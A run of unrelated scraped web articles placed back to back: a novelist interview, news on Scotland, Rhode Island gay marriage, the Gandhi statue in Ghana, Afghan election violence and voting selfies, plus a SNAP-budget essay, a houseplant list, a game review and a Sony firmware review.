“Not really,” she says. “I think it was less about wanting to follow in any aesthetic tradition and more about not wanting to be afraid about asking a reader for his engagement. We’re currently in a literary landscape I’d characterise as ‘cool,’ and I mean that in both senses; it’s a little remote, and a little bit reluctant to really be needy. That definitely wasn’t my intention here; I wasn’t trying to be cool in any sense. I wanted the reader to feel – in so far as I thought of the reader at all, which wasn’t that much – as if they were having an emotional experience. A great deal is being asked of them; but in return a great deal is being given to them. I hope that if this books demands from its reader in terms of endurance, I suppose, a suspension of belief, and in some senses a lack of comfort, it repays with a generosity of intimacy that makes the reader feel like he’s really being allowed in a larger and rich open-hearted sense into these characters lives.
“I wrote the kind of book I wanted to read, one in which you really had the opportunity to feel as if you’d spent significant time with these characters; and not just time, that you were allowed access into what we least want to discuss as people. I hope that it feels in that sense a generous book. In terms of melodrama, I mean, I love that sort of queer aesthetic – as identified in the Atlantic piece – but the thing about that is that it’s using one sort of narrative to hide another, and this book wasn’t about using these characters as doubles or screens, it was simply about offering the reader full access.”
Some of her characters are gay, some are straight, some are bisexual, this, however, isn’t really the point. Her post-sexual depiction is progressive, but ultimately it’s friendships that are the most important relationships in the book. At one point Willem articulates what appears to be one of the central concerns of the novel:
Why wasn’t friendship as good as a relationship? Why wasn’t it even better? It was two people who remained together, day after day, bound not by sex or physical attraction or money or children or property, but only by the shared agreement to keep going, the mutual dedication to a union that could never be |
to create a prosperous and fairer society, they say.
Advocates of staying in the union say the country is stronger as part of a bigger entity. Going it alone would put it in a precarious economic position, with questions over what currency it would use, its continuing membership of the European Union and NATO, and how much oil is actually left in the North Sea to fill the national coffers, they say.
Britain’s main political parties - the Conservatives and the Liberal Democrats who rule in a coalition, and the opposition Labour Party - vehemently oppose independence and are holding out the prospect of greater autonomy for Scotland as a way to dent the “Yes” vote.
Slideshow (4 Images)
Yes Scotland Chief Executive Blair Jenkins said the TNS poll was a breakthrough which showed the momentum of the pro-independence campaign.
“Scotland is one of the wealthiest countries in the world. More and more people are beginning to realize that a Yes vote is Scotland’s one opportunity to make that enormous wealth work better for everyone who lives here,” he said in a statement.
“The “No” campaign’s empty talk of more powers smacks of utter panic and desperation as they lose their lead in the polls.”Charles Krupa / AP Rhode Island House Speaker Gordon Fox, right, embraces his partner, Marcus LaFond, after a vote to pass a gay marriage bill at the State House in Providence, R.I., Thursday, May 2, 2013.
Rhode Island became the final state in New England and the 10th in the country to legalize gay marriage after independent Gov. Lincoln Chafee on Thursday signed a bill that will allow same-sex marriage.
"I know that you have been waiting for this day to come," Chafee said to the state's gay and lesbian community at a bill-signing ceremony in front of hundreds. "I know you have loved ones that dreamed this would happen but did not live to see it. But I am proud to say that now at long last, you are free to marry the person you love."
In a New York Times op-ed Wednesday, Chafee outlined his support for gay marriage not only on moral grounds, but also economic.
"The talented workers who are driving the new economy — young, educated and forward-looking — want to live in a place that reflects their values. They want diversity, not simply out of a sense of justice, but because diversity makes life more fun," he wrote. "Why would any state turn away the people who are most likely to create the economies of the 21st century?"
As a Republican U.S. senator in 2004, Chafee voiced his support for gay marriage when most members of his party were staunchly opposed to it. He was ousted from his Senate seat in 2006 but won the governor's race in the Ocean State in 2010 as an independent.
Chafee is now calling on fellow governors to push for similar legislation to what passed in Rhode Island on Thursday, and calling for the Supreme Court to overturn the Defense of Marriage Act. Though public opinion continues to turn in favor of same-sex marriage, legalizing it is still a heavy lift for many states.
Even in Rhode Island, which sits in the country's friendliest territory for gay-marriage supporters, opposition from the state's heavy Catholic population put the prospects of passage in jeopardy for years. The legislation has been introduced in the House every session since 1997.
But last fall, more gay-marriage supporters were elected to the state legislature, and the bill's passage was the result of a highly energized and coordinated campaigning from those equal rights groups, business leaders, community organizers and politicians.
The bill overcame its biggest hurdle last week when it passed the Senate by a comfortable 26-12 vote after Senate President Teresa Paiva Weed, D-Newport, allowed a vote despite her opposition to gay marriage. The House easily passed the legislation in January but needed to approve the final language in a procedural vote Thursday that passed 56-15. The session was largely a celebration in which legislators reflected on the significance of the bill and thanked those who fought for its passage.
"We are truly social creatures, and that is the essence of this legislation," House Speaker Gordon Fox, D-Providence, said before the bill was signed. "You are free to love and commit to the person of your choice no matter what your gender may be.... And the foundation of that is a very simple, yet probably the most powerful word in the English language: Love," said Fox, who is gay.
Along with the five other New England states, Rhode Island joins Iowa, Maryland, Washington, New York and Washington, D.C., in recognizing same-sex marriage. Minnesota, Illinois and Delaware are also expected to come to decisions about the issue soon.
Charles Krupa / AP Lise Iwon, right, and Julie Smith celebrate after a gay marriage bill passed in the Rhode Island House at the State House in Providence, R.I., Thursday, May 2, 2013.
Opponents to gay marriage argued passing the legislation would lessen religious liberty for churches and certain faith-based organizations
A day before the bill passed, the National Organization for Marriage called on the House to reject the legislation, which they say contains "a shocking lack of religious liberty protections, potentially ghettoizing people of faith unless they compromise and remain silent in the public square."
"When marriage is redefined into a genderless institution, it presents a range of legal conflicts for people of faith and the small businesses and charitable organizations they operate to serve the public," Christopher Plante, regional director for the organization, said in a statement.
The first same-sex marriages could take place Aug. 1, when the new law takes effect. Civil unions, which the state approved two years ago, will no longer be available to gay couples, though existing civil unions will still be recognized.
The Associated Press contributed to this report.Robotics manufacturer Boston Dynamics has long been developing a quadrupedic, autonomous – and headless – robot for hauling around military gear called the BigDog. But judging by this video, the BigDog is now practically lying submissive and moaning to itself in its crate. Because now the AlphaDog is in town.
On Tuesday, word broke of Boston Dynamics' upgrade to the BigDog, known as the L3, for Legged Squad Support System. Funded by Darpa, it knew all the BigDog's tricks – walking on uneven terrain, trotting beside soldiers, taking on heavy loads – but could just do more of them. It hauls up to 400 pounds, 60 more than the BigDog, on its mighty flat metallic back, and can trot around for 20 miles, while the BigDog tires out at 12. No wonder Boston Dynamics called it AlphaDog.
There's also one big improvement, which you can see on this brand-new video, around the 1:06 mark. The factory prototype of the AlphaDog actually stands up after lying on its side. That's not something the BigDog could do, though the earlier robot got pretty good at keeping its footing on uneven ground when soldiers cruelly tried to kick him over. Still, this new trick is impressive enough that you want to scratch behind the AlphaDog's ears – until you remember that he still doesn't have a head.
Right now, the AlphaDog is just a lab prototype. It's still going to be a while before soldiers and Marines strap their newest robotic mule – er, dog – with gear and take him off to war. Boston Dynamics, Darpa and the Marine Corps aren't planning a major test of the AlphaDog until 2012.
But don't forget about the BigDog. Boston Dynamics also put together this video of his greatest tricks:
See Also:- Video: Military’s Robotic Pack Mule Battles the MudDELIVERY
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The above processing and delivery costs are for merchandise pictured and described on us.louisvuitton.com; Costs are calculated according to the total cost of the merchandise in your order. All prices reflect U.S. currency. All orders are shipped by UPS.I’ve never thought much about how much we spend on food. I know that it’s a lot. I’m an almost daily shopper, running to the market daily for one thing or another, and I rarely (actually, never) pre-plan more than a couple nights’ dinners at a time. I don’t clip coupons. I don’t shop around at different stores to buy things on sale. I don’t shop where groceries are cheapest. My four kids think Walmart is a bad word, like “Shut up, you Walmart!” I am a terrible home economist, but I am a great cook and an even better baker. Our grocery budget is not so much a budget as it is a flexible priority expenditure, one that I’m willing to skim funds from other, less important expenses to protect, because food is how I say I love you.
Generally, when I shop, our grocery money is divided among items like dark green veggies, lean proteins, choice cuts of beef, fruits in season, cured meats, good cheese, olives and vodka for Martini Mondays (and lately Martini Wednesdays), some processed foods like cereal, pasta and those organic bunny crackers. I almost always cook from scratch. I start with whole foods most nights. I won’t lie: it’s expensive to eat this way. All tolled, I guess our weekly food expense is in the neighborhood of $250... about $6 per day for each of us. That makes it the largest expense of the household, even more than our mortgage. We don’t spend much on entertainment or travel, so I reason that the extra money we spend on food can share space within those categories. We rarely eat out for dinner, but we eat out for lunch at least once a week, usually twice. On busy days I use my crock pot. Even on nights I work, I try to make sure there’s something healthy on the stove before I head out the door.
My husband is far more inclined than I am to pick up some sort of cereal with SMAKZ in the name, or a bag of salty, orange crunchy things. Don’t misunderstand me, I like those things. They have their place. Cheetos are fucking delicious. But for us they are an occasional treat that Dad sneaks in the house, whereas some families rely on them as a mainstay of their diet, a source of calories, sometimes a meal. As long as I’m talking about this, can we go ahead and do away with the term Food Insecurity? I’ve been saying it myself and every time I do, it just makes me think of my cat. He won’t eat the last few bites of food in his bowl because he’s afraid there won’t be any more after that. He has a food insecurity, but not he’s not hungry. Hunger is hunger, not insecurity. It’s physical, not merely emotional. Insecurity is an emotional condition. Hunger, malnourishment, and the physical and psychological results, that’s what we’re talking about here. Let’s call it what it is. This is not an issue that is relegated to the 50,000,000 people in America who are hungry. This affects all of us. Your kids, my kids, the teacher in science lab who is trying to understand why a kid can't stay awake in class. 1 in 4 kids in America lives in poverty. Nearly 16 million kids don’t have access to a consistent source of nutritious food. Their bodies and their intellects and their potential… they’re starving.
The Experiment
My 11 year old daughter and I took $72 to the grocery store to see if we could feed the family for four days on the average amount of assistance provided to families on the Supplemental Nutritional Assistance Program, fancy for food stamps. That’s $3 each. A dollar each per meal. The objective of our experiment was to determine what would happen to the quality and quantity of food on our table if we were dependent on SNAP for sustenance.
The first thing we had to accept as we blew through our allocated grocery funds was that we really couldn’t afford any decent meat. By decent, I mean sustainably sourced and not packed within an inch of its life in salt solution. We scored 2 pounds of half price Laura’s lean ground beef that was on its sell-by date, and some kielbasa that was marked down as well. In the produce section, we snagged some half price pre-packaged organic broccoli and carrots that were only a little brown, a bunch of wilted organic basil at half-price, a head hydroponic lettuce on clearance, and some mixed greens, also at half price. We spent 25% of our budget on 1 squash and 8 apples, and splurged again on butter because I couldn’t bring myself to buy the weird, chemically margarine, even though it was a quarter of the price. I bought homophobic Barilla spaghetti noodles because they were on sale for a dollar. In the end, even though I deviated from some of my personal rules as a consumer, I only brought home enough food to feed my family for about three days, not four... the fourth day, there isn't enough food. And we’re almost out of toothpaste, so there’s that.
Four days of breakfast, lunch and dinner for 6?
For all four days, here is a total of 3 servings of protein each, 5-6 servings of fruits and vegetables each, 0 whole grains, 0 lowfat dairy products. And pickles. My friend pointed out that I should have opted for bulk dried beans as our primary source of protein. I would have met tremendous resistance at the table, but that's better than running out of food.
Meanwhile, on the other side of town, those who can afford a more healthy lifestyle are serving up locally-raised, antibiotic-free chicken breast to the tune of $6 a breast and calling loudly for a food revolution. Shop Local! they post on their facebook walls, Eat Real Food! $6 for one serving of locally sourced protein. If I buy the beautiful 6 ounce local chicken breast, it’s going to cost me 2 family members’ entire daily allocation. Can I make the lovely chicken breast stretch between two of us for breakfast, lunch and dinner? That’s an ounce per meal.
The cost of the local chicken breast is equal to 3 boxes of mac and cheese. Three boxes of noodles made from refined wheat that was grown in one state, shipped to another where it was processed, packaged and reshipped to a grocery store a thousand miles from the noodle factory. How is it that macaroni that incurred the costs of thousands of miles of transport (not to mention the costs of packaging and marketing!) can feed my children more “meals” than one chicken breast that only had to travel 15 miles from the farm outside of town? Wait. Wait… why is that? Agricultural lobbyists spend millions of dollars every year to ensure that they (they, the corporations, not Old MacDonald) receive government subsidies and tax breaks (that’s welfare, motherfuckers) in order to keep their shitty, sugary, salty, processed goods at a price point that makes them almost impossible to pass over on a budget of $3 a day.
Get A Job
Argument: People are poor because they are lazy. The fast-food industry has generated a population of millions of employees who are so underpaid that they are increasingly reliant on government assistance to meet their food and healthcare needs. The same “job-creators” that receive billions in government tax breaks (again, that’s welfare, motherfuckers) create financial insecurity in the very people they rely on to grow their businesses.
A recent study indicates that over half of all fast food service workers in America rely on public assistance to meet their basic needs. Half! Get your mind around that for a minute. These are people who work on their feet all day for an average wage of less than $8 an hour. They work as hard (if not harder) as you and I do, but they can’t afford to feed their families. The average age of a fast food worker is 28. Many are the sole or primary source of income in their home. Taxpayers bench press 7 billion dollars a year in government relief to fast-food workers.
Argument: There’s no need to raise the minimum wage. A burger flipper is not worth more than their current rate of pay. "I think the system seems to be working the way it is… In general, the government is making sure these people's basic needs are met, which is an appropriate role of government." -Michael Strain, resident scholar, American Enterprise Institute. Resident scholar? How about resident clueless asshole. “The system” is not meeting these people’s basic needs, not even close. Why are more and more working people poor while their corporate employers become wealthier? Why are their children hungry? McDonald’s profit grew during the last recession. They MADE MONEY off the country’s financial misfortune, a fact that is not reflected in their average employee’s hourly pay. “These people” work harder when business is booming, yet they are paid the same $8 an hour.
Argument: I donate to the food pantry. There’s not much more I can do. It’s almost November. In a couple weeks there will be donation bins for food at every grocery store, school and church. We want to feed the needy on Thanksgiving. That’s lovely. But it’s not enough. Charity is wonderful, but it’s not enough. Our efforts, our donations, that’s what makes greedy fuckstain corporate heads, lobbyists and congresspersons able to sleep at night. Because we will take up the slack with Thanksgiving food drives? Charity is a safety net that is encouraging corporate and political malfeasance… I believe in their language that’s known as a nanny state. They know someone out there will do the right thing, so it doesn’t have to be them. It’s not enough to drop a can of green beans in a box and congratulate ourselves on our generosity. It’s time to raise hell against a system that is creating such widespread need for us to do so.
Undernourishment, whether it’s an occasional or frequent condition in children, means they don’t focus, don’t perform, don’t grow and develop the way they can and should. In addition to a host of physical ramifications, their intellectual potential is stunted. Thanksgiving and Christmas dinner are not going to amend that. As Jeff Bridges pointed out in the documentary A Place at the Table, "if another country was doing this to our kids, we would be at war."
Want a food revolution? It’s not enough to tell people to stop eating shit. Help them afford the local chicken breast. That means raising the living wage to an amount that people can afford - not just food - but nourishment. It means ending corporate agriculture commodities subsidies. It means leveling the playing field for small farming operations. It means not manipulating the market to the point where one apple costs as much as 14 servings of cookies. And that means you and me making a big, loud stink about this. You should be angry right now. Just fucking furious.
What Can We Do?
Take the challenge. Allocate $3 per day, per family member, for 4 days. What choices at the market will make your money stretch? How much nutritious, sustainably produced food can you bring to the table?
While I was trying to figure out how to make the food stretch out over 4 days, I began to feel a bit defensive, then I started to get mad. Mad that I couldn't afford to feed them better. Mad that corporate food suppliers are making a shit ton of money selling high calorie, non-nutritious crap to hungry families. Furious that our government gives those same corporations tax credits to do so. That's always a good time to start writing. This is an issue with a relatively simple solution. The solution is honesty. Honest corporate practices. Honest wages. Honest policies that reflect a commitment to nourish children. Corporate food producers and government institutions are directly responsible for an epidemic of poverty and hunger in America, but the shame is on us all.
My attitude up to now has been that Food is a need, but Good Food - healthy, delicious food - is a luxury, like going to the movies, one that we are fortunate to afford ourselves. I counted myself lucky to have the resources and the skill to lavish my family with meals that are delicious and healthy for them. My thinking on healthy, delicious food has changed. I see it now not only as a need but as a God-given right, and one that everyone deserves. Because there is enough. There is enough.Having plants in the house is a very easy way to spruce up a room, and they can benefit our indoor air quality as well as our mood. The tricky part can be finding plants that are aesthetically pleasing to us and our particular tastes and safe for our pets.
Cats and dogs sometimes chew on plants, and if the plant contains toxins it can cause intestinal problems and – in bad cases – death. Some plants can be kept high on a shelf or hanging from a hook which can deter a cat or dog from getting to them. But sometimes that isn’t possible.
For more information about pet-safe plants, check out these articles:
Here are 7 indoor plants that are safe for pets.
African Violet
A perennial flowering plant that is commonly indoors but may also be planted outdoors. Flowers are usually purple but can be pale blue or white.
>> Click Here to Shop for African Violet Plants & Seeds
Image from Wikipedia
Lady Slipper
Lady slipper is a type of orchid that can grow up to 2 feet tall. The flowers range from pink to purple to yellow. It is believed that the plant has tannin oils but there’s been no known effects on pets who may have had contact or chewed on it.
>> Click Here to Shop for Lady Slipper Plants & Seeds
Image from Fleurt
Spider Plant
A very common houseplant that is known to reduce indoor air pollution. It can be a hanging plant so that its stems and plantlets can be displayed, or a smaller variation that is ideal for a shelf or end table.
>> Click Here to Shop for Spider Plants & Seeds
Image from Wikipedia
Money Tree
Need a little luck? Money trees are thought to bring good fortune to those who place it in their home. As the money tree grows, it will sprout new leaves which unfold into five leaf stems.
>> Click Here to Shop for Money Tree Plants & Seeds
Image from Giving Plants
Cast-Iron Plant
The cast-iron plant is great for those of us who have black thumbs. It’s a hearty plant that can withstand irregular watering, low humidity, temperature changes, and low-light. This doesn’t mean you can totally forget about this plant, but it is a good option for those of us who lack talent in the gardening area, like me.
>> Click Here to Shop for Cast Iron Plants & Seeds
Image from Wikipedia
Ponytail Plant
The ponytail plant is another “set it and forget it” type of plant and can be grown in a shallow pot. It’s a slow-growing plant and can be watered every 1 to 2 weeks. Keep them in bright light.
>> Click Here to Shop for Ponytail Plants & Seeds
Image from Alpha Botanical
Catnip
Catnip is a fly and mosquito repellant and can be used as an herbal ailment. Most commonly it is given to cats. Which reminds me, your cat might chew on this one so you may want to keep it somewhere where your cat can’t freely chew on it. You can cut a few leaves off and let your cat roll around and chew on them, as too much might bring out an aggressive response.
>> Click Here to Shop for Catnip Plants & Seeds
Image from Wikipedia
For a more comprehensive list of pet-safe plants check out May’s Greenhouse and the ASPCA’s Comprehensive List of Non-Toxic Outdoor and Indoor Plants.Professors say late civil rights leader was racist and considered Indians to be ‘infinitely superior’ to black Africans
Ghanaian professors are calling for a statue of Mahatma Gandhi to be removed from their campus because they claim he was racist and considered Indians to be “infinitely superior” to black Africans.
A statue of the Indian independence leader was unveiled at the University of Ghana in June by the Indian president, Pranab Mukherjee, who had delivered a speech calling on students to “emulate and concretise” Gandhi’s ideals.
More than 1,000 people have since signed a petition calling for it to be torn down, saying that not only was Gandhi racist towards black South Africans when he lived there from 1893-1914, but that he campaigned for the maintenance of the caste system in his own country.
“We can do the honourable thing by pulling down the statue,” read the petition, which was delivered to the university council on Thursday. “It is better to stand up for our dignity than to kowtow to the wishes of a burgeoning Eurasian super-power. Some harm has already been done by erecting the statue. We have failed the generation that look up to us, namely our students.”
The professors quoted several of Gandhi’s writings in which he referred to black South Africans as “kaffirs” (a highly offensive racist slur) and complained that the South African government wanted to “drag down” Indians to the same level as people he called “half-heathen natives”.
Facebook Twitter Pinterest The statue of Gandhi was unveiled by Indian president Pranab Mukherjee who called on students to emulate his ideals. Photograph: Christian Thompson/AP
One quote read: “Ours is one continual struggle against a degradation sought to be inflicted upon us by the Europeans, who desire to degrade us to the level of the raw kaffir whose occupation is hunting, and whose sole ambition is to collect a certain number of cattle to buy a wife with and then pass his life in indolence and nakedness.”
Gandhi’s grandson and biographer, Rajmohan Gandhi, acknowledged that his grandfather was “undoubtedly” ignorant and prejudiced about black South Africans.
“However, on racial equality, he was greatly in advance of most, if not all, of his compatriots; and the struggle for Indian rights in South Africa paved the way for the struggle for black rights,” he wrote. He also cited Nelson Mandela, who once said: “Gandhi must be forgiven these prejudices in the context of the time and the circumstances.”
In 2014, when the novelist Arundhati Roy took aim at Gandhi and accused him of perpetuating a discriminatory caste system, she provoked some scepticism from Indian historians.
Oxford students’ fight to topple Cecil Rhodes statue was the easy option | Peter Scott Read more
Prof Mridula Mukherjee, an expert in modern Indian history at Jawaharlal University in Delhi, said at the time that Gandhi had “devoted much of his life to fighting caste prejudice”.
However, the leaders of the Ghanaian petition, who include Akosua Adomako Ampofo, professor at the Institute of African Studies at Ghana University, and Akosua Adoma Perbi of the history department, see things differently.
They pointed out that the memorial to Gandhi was the only statue to a historic personality on the campus. The failure to honour African heroes and heroines was “a slap in the face that undermines our struggles for autonomy, recognition and respect”, they said.
There was apparently no consultation with students before the statue was erected. Ọbádélé Kambon, a research fellow at the university, was driving through the campus one day in July when he stumbled upon it.
“It was not a shock because I know the levels of mis-education, dis-education and anti-education,” he said. “If we knew better, we would do better.”
Kambon had read extensively about Gandhi, whom he said campaigned hard in South Africa for British rulers to acknowledge the idea that Indians were superior to black people. He said he immediately sent dozens of racist quotes from Gandhi to the entire faculty.
“It’s not a thing of Ghana versus India,” he said. “Imagine if we sent a statue of colonel Reginald Dyer and said it was a gift to India. How would they feel?”
Dyer was the British officer responsible for the Amritsar massacre in 1919.The bodies of five volunteers working for a female MP have been found riddled with bullets in western Afghanistan, amid a growing campaign of violent intimidation against women running in the country's elections.
The men, aged between 20 and 35, were found dead by villagers in the Adraskan district of Herat province, some distance from where they were kidnapped by gunmen on Thursday while out campaigning for Fauzia Gilani.
The Taliban claimed responsibility for the kidnapping of 10 of her campaign workers as they travelled in remote countryside. Five of the workers were released before the others were found dead.
The insurgent movement has not yet claimed responsibility for the murders, but Gilani – one of hundreds of women running in next month's elections – said she believed the "enemies of Afghanistan" were responsible.
"These people were just my volunteers," she said. "They were just trying to help – I wasn't paying them any money."
She said she did not know whether they were targeted because she is a woman, but said that in western Afghanistan, the "society is controlled by men".
"They are in charge, and they don't want a woman to be above them," she said.
The politician struggled to speak when the Guardian contacted her by phone. She said she was standing next to the bodies of the victims at an Afghan national army base, where they were awaiting collection by their families.
One of the defining features of the campaign has been the attacks and scare tactics directed at women contesting seats nationwide. According to a recent survey of violence and irregularities in Logar province, conducted by the Free and Fair Election Foundation of Afghanistan (FEFA), nine out of 10 threats against specific candidates were directed at women.
In other provinces, women have been "inundated" with threatening phone calls, often delivered late at night by insurgents and political opponents. Ahmad Nader Nadery, director of FEFA, said his organisation's research showed that violence in the run-up to polling was far higher across the country than in last year's presidential election, where widespread insecurity was an essential precondition for extraordinary amounts of voting fraud.
In Herat yesterday, gunmen killed a candidate named as Haji Abdul Manan as he walked from his home to a mosque. "This is an environment of high amounts of intimidation and threats to candidates in general, but specifically to female candidates," Nadery said. "We expect more of this, with an increase in attacks on candidates, as we get closer to the elections."
Nadery said the type of people trying to disrupt women's campaigns varied around the country. "It is very dominant in the south by the Taliban, but it also exists in the north of the country where powerful political figures and warlords are responsible," he said.
Fuazia Kufi, an outspoken women's rights activist and one of Afghanistan's best-known representatives, said the increased interest in politics among women had disconcerted traditional power-brokers.
The minister, from Badakhshan, a relatively liberal province in the north, said: "As women get stronger and they find a voice among the public, there are many people who lose power. There are many traditional people who lose so they try to create problems and trouble."
The murder of Gilani's volunteers proved the need for greater government protection of women in politics, she said. "Fauzia Gilani is a very low-profile MP, so if she is being attacked you can imagine how much more difficult it is for the more outspoken candidates. Although the public is really supporting female candidates, there are certain mullahs who deliver the message not to vote for women. This is even happening in a more open province like Badakshan."
The UN mission in Afghanistan said the killings of Haji Abdul Manan and Gilani's volunteers were "unacceptable", and said those responsible must be brought to justice. "These killings constitute violent intimidation of all electoral candidates and their supporters. This is unacceptable. [The UN] calls upon the Afghan security forces to be on heightened vigilance over the coming weeks leading to the parliamentary elections."New Duncan Release – Haymaker, Origami & Freehand PRO! YoYoExpert
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aging cinematic.
Aside from the Story mode, players can engage in the Battle mode, which plays closer to classic Mortal Kombat. Any character can plow through a set number of fighters until they reach the end. Aside from adjusting the standard difficulty levels, there's a lot of replay value to be found here thanks to unlockable separate Battle Modes that feature twists, like one-on-two battles and an impossible difficulty that must be cleared without losing a single round. There's a lot of variety to be found in what's previously been a traditional game mode and each new mode provides a welcome challenge.
If straight-up fighting doesn't suit you, there are also several off-the-wall challenges that include taking out guards as a helicopter shoots at you from above or even having to play as Catwoman's cat, Isis. It's a great diversion from the normal Injustice modes and last only seconds. The problem I ran into here was with repeatedly failing a challenge, as the loading times in this particular game mode are brutally long.
Anyone that's wrapped up the single-player modes in Injustice will likely want to take the fight to the online realm. Injustice's multiplayer modes feel somewhat limited, compared to the robust single-player options. While I found myself sticking to the 1v1 battles most of the time, I found a lot of enjoyment out of a populated King of the Hill lobby and it looks like a great place for friends to gather and find out who rules among them.
Players will earn XP for every active game mode they're in, which can be used for bragging rights, as well as unlocking a smorgasbord of content, like extra Battle Mode variants, concept art, music, icons, portraits, and a lot more. It will take a lot of playtime to earn enough XP to unlock everything in Injustice, though players can bring themselves closer with daily multiplayer challenges, which is a good way to help keep the experience fresh.
Injustice: Gods Among Us is everything I could ask for from a comic-book based fighting game. NetherRealm does a great job of bring each of its 24 fighters to life, while remaining completely faithful to the source material. There's enough content to keep players busy for weeks, if not months, with a phenomenal Story Mode and large amount of unlockables. Multiplayer has enough to thrive, so long as NetherRealm stays on top of balance issues (Deathstroke and Nightwing are currently dominating in the online space) and the few connectivity quirks. Injustice is a fighting game as strong as Big Blue himself and shows enough to maintain the staying power of the DC comics themselves. [8]
This Injustice: Gods Among Us review is based on a retail Xbox version of the game provided by the publisher. The game is also available on PlayStation 3 and Wii U.Election Commission
new voters
FB post
smartphone
mobile phones
Lok Sabha election
foresees a distinct possibility of 3.5 lakhin Bangalore going click-happy with their smartphones when pressing the button on poll day. It is warning of action even later if it comes across any suchSelf portraits of the digital age might be the in thing with anyone armed with a. For many of the 3.5 lakh first-time voters in the city, it might be the most obvious thing to do come April 17, polling day. But click at your peril.Aware of the fact that many voters will want to keep a picture of their debut in the “democratic process” for posterity taken while standing in front of voting machines, the EC has warned against such pranks.“The use ofinside polling booths has been banned by the election commission,” Anil Kumar Jha, Chief Electoral Officer (Karnataka), told Bangalore Mirror. “Even if voters carry mobile phones, they have to hand them over to the returning officer or polling officers at the booth.”A senior election official went even further saying selfies clicked in polling booths and posted on social networking sites is a violation of the Representation of the People Act. The Act stipulates imprisonment up to three months.“However, voters are free to take selfies outside the polling booth or display their inked finger to the media after stepping out of the booth,” the official said. “But any attempt inside the polling station will not be tolerated.”The warning stems from the fact that thishas garnered unprecedented coverage on social media sites. “Candidates and their supporters have been taking selfies during campaigning and posting them on Facebook and Twitter,” a social media tracker (who did not want to be named because of political affiliation) told BM. “As the Likes and re-tweets increased rapidly, more and more started joining the selfie bandwagon. So much so that the voting-day (April 17) is being seen as the climax for voting selfies.”Officials say the EC had issued a circular banning use of mobile phones inside polling booths. The move came after candidates and political parties had said people could take pictures and influence others by revealing their allegiance to a candidate or a political party. “We want polls to free and fair,” an EC official said.First-time voters are disappointed with the EC dampener. Jeromi George, a BA student from Christ University, said, “I had told my friends that I was going to click a selfie. I am excited to be a first-time voter. However, the incident in Kerala where a television anchor ran into trouble following a selfie near the ballot box has taken away the fizz.”Varunkia Deva, a student, questioned the logic of the ban. “When people have no issues posting drunk selfie pictures on the internet, why not the voting selfie? We want to spread the message of voting.”Uday Minocha, another debutant voter, wondered, “Selfies are completely in and when celebrities at the Oscars are taking them, why can’t we when we are choosing our future?”A television anchor had courted controversy with her alleged selfie during the recently concluded polls in Kerala. She posted a picture of herself purportedly taken when casting her vote in Lok Sabha polls on April 10.It not only triggered a storm about selfies, but polling officials were also castigated for their carelessness for marking the actor’s middle finger instead of the left index finger with indelible ink.NOT JUST IN INDIAVoter selfies have been creating problems in the election process in countries across the world. Late last year, the ‘Commission of Elections’ in the Philippines laid out dos and don'ts about selfies. Voters were reminded that taking pictures of completed ballots was illegal, but it was legal to stand in front of the Board of Election inspectors and take selfies. Earlier this month, Bernard Drainville, the Canadian politician from Quebec, found himself in hot water after he posed with students in voting booths for selfies. These selfies were shared by his supporters and the election watchdog is investigating if it broke the law. Campaigning at voting stations is prohibited. US President Barack Obama found himself in trouble over selfies. Obama had a selfie taken with baseball player David Ortiz. It turned out that Ortiz was doing it on behalf of Samsung which used the photo to promote its mobile phone. The White House administration is now contemplating banning selfies with the president.Every Android phone maker has a different approach to software. Some, like Samsung, go all out with a highly customized interface that touches every corner of the way Android looks and works. Others, like Motorola, stay true to the visual style of "vanilla" Android. Then, somewhere in between, you've got companies like Sony.
In recent years, Sony has gradually cut back on visual cruft, to the point where its current crop of phones, the Xperia Z5 series, look and behave a lot like Google's vision of Android. So what's next? Well, alongside its official firmware updates for Xperia phones, the firm last year opened up a "Concept" software program for fans. The big idea is to rework Sony's software from the ground up, using vanilla Android as a base and layering on Sony features as needed. Following the success of the original Lollipop Concept over the summer, Sony rounded out the year by bringing Marshmallow Concept software to a select group of Xperia Z3 and Z3 Compact owners. It's a step closer to Motorola's way of doing things. But the Concept firmware is about more than just vanilla Android. The program involves Xperia owners in Sony's software development, using surveys and a Google+ community for further feedback and bug tracking. Effectively, it's a fast-moving yet surprisingly stable software track for power users. And it's pretty slick.
A fast-moving yet surprisingly-stable software track for power users Sony's Concept firmware runs on the Xperia Z3 and Z3 Compact, which are a couple of generations removed from Sony's latest stuff. Then again, they're based on the still-great Snapdragon 801, arguably a more stable development platform than the newer 810. It's a common misconception that it's UI stuff that slows Android phones down, and if only manufacturers would leave the OS as Google intended, all would be well. But stock Android doesn't guarantee speedy performance, as anyone who's used a Moto X Play will know. Code still needs to be optimized, and stutters smoothed out, and that's exactly what Sony has achieved with its Concept firmware. (Of course it also helps that they're starting from scratch with minimal bloat.) The result? Probably the fastest Android phone I've used, and that includes 2015 models like the Nexus 6P and Samsung Galaxy S6 edge+. This software absolutely flies, putting to shame the vast majority of newer and more expensive handsets. The Xperia Z3 on the Marshmallow Concept firmware is probably the fastest Android phone I've used. The Marshmallow Concept's performance is about more than app load times and animation fluidity, though. The Z3's battery life — already pretty good even back on KitKat — gets a welcome boost thanks to Android 6.0's "Doze" feature. You'll miss out (for now, at least) on Sony's Stamina mode, which lets you cut down on background activity to save juice. However Marshmallow's built-in power-saving features mostly make up for this. Much of the Concept firmware looks and feels like vanilla Android. The phone dialer and contacts app are faithful recreations of Google's stuff. And the same goes for core UI stuff like on-screen keys, the lock screen and the notification shade. There's been some icon swappage in the Settings app, but the way this works is largely unchanged.
Sony's Concept doesn't come with the Google Now Launcher — though you can download this separately, and it's right at home on a device running this firmware. Instead there's the latest version of Sony's extremely lightweight home screen experience. Sony's new launcher looks and feels a lot like Google's, but with some subtle visual changes. Dig deeper, though, and you'll find a host of customization options, including theme pack support, transition effects and the ability to switch to an iPhone-style grid of all icons instead of the traditional Android app drawer. Aside from the launcher, Sony has only sparingly added its own software. Out-of-the-box additions include Album, the Sony gallery app with PlayMemories support, as well as Z3's familiar Camera app, complete with AR effects (for that picture that's just not complete without a virtual T-rex). Sony's also got its own email client and Music app (don't call it "Walkman"), as well as an app for managing UI themes.Esquire: What would Steve Jobs eat? — Jeff Gordinier
The 86 List: A new hub for food-job-seekers in New York City has just launched. Note to college seniors: skilled oyster shuckers are in demand.
— Julia Moskin
Men’s Health: Five flu-fighting foods: papaya (vitamins C and E), cranberries (natural probiotics), apples (antioxidants), grapefruit (cholesterol-lowering limonoids) and bananas (B6, magnesium). — Glenn Collins
The Guardian: Attention charcuterists, “although black or brown moulds usually spell disaster, as does anything slimy and white,” the right kind of mould works wonders. — Nick Fox
